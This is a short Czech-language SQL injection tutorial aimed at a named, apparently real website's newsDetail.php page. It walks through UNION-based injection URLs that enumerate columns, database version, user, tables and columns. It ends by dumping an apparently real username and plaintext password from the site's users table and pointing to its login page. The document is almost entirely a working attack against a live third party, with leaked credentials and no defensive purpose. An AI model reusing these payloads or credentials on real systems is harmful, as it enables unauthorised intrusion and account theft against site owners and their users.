Sql

Sql injection

1.nejdříve najdeme chybu př:
http://www.evt-me.com/newsDetail.php?id=8

2.zjistíme počet sloupců
http://www.evt-me.com/newsDetail.php?id=8 order by 5


nehlásí chybu


http://www.evt-me.com/newsDetail.php?id=8 order by 8


chyba
zkusíme o jeden méně 
http://www.evt-me.com/newsDetail.php?id=8 order by 7


nehlásý chybu stránka má 7 sloupců


http://www.evt-me.com/newsDetail.php?id=8 union select all 1,2,3,4,5,6,7-- 
3.zjistíme mySQL databáze
http://www.evt-me.com/newsDetail.php?id=-8 union select all 1,@@version,3,4,5,6,7--


5.0.95-community
4.zjistíme aktuálního uživatele
http://www.evt-me.com/newsDetail.php?id=-8  union select 1,2,user(),4,5,6,7


evt_badr@localhost
5.zjistíme databázi
http://www.evt-me.com/newsDetail.php?id=-8+UNION+SELECT+1,2,group_concat(schema_name),4,5,6,7 from+information_schema.schemata--


information_schema,evt_evt


http://www.evt-me.com/newsDetail.php?id=-8+UNION+SELECT+1,2,database(),4,5,6,7--


evt_evt
6.zjistíme tabulky 
http://www.evt-me.com/newsDetail.php?id=-8+UNION+SELECT+1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--
advertise,categories,categories1,country,download,latest,login,login_secured,mails,myorder,news,products,users


později použijeme users
7.zjistíme sloupec
http://www.evt-me.com/newsDetail.php?id=-8+UNION+SELECT+1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema=database()--


id,photo,url,place,view_num,click_num,pubdate,lang,type,id,name,scat,count,id,name,scat,count,id,country_ar,country_en,count,id,cat,title,detail,title_en,detail_en,file,count,size,id,title_en,body_en,title_gr,body_gr,date,active,id,pass,username,position,fullname,id,pass,username,position,fullname,id,mail,status,id,product_id,user_id,quantity2,person,phone,address,date,id,title_en,detail_en,title_ar,detail_ar,date,photo,id,cat_id,sub_id,name,code,detail,name_en,detail_en,photo,date,id,fname,lname,pass,mail,age,gender,country,work,other,username,status,active,date


použijeme usersname a pass
8.zjistíme jméno a heslo
http://www.evt-me.com/newsDetail.php?id=-8+UNION+SELECT+1,2,group_concat(username,0x3a,pass,0x3a),4,5,6,7 from users--


usersname:alzaeem
password:113344667799
9.přihlásíme se
http://www.evt-me.com/login.php?


nepomohlo? zkus video
http://www.youtube.com/watch?v=FJ8MIsS_dbA&feature=youtube_gdata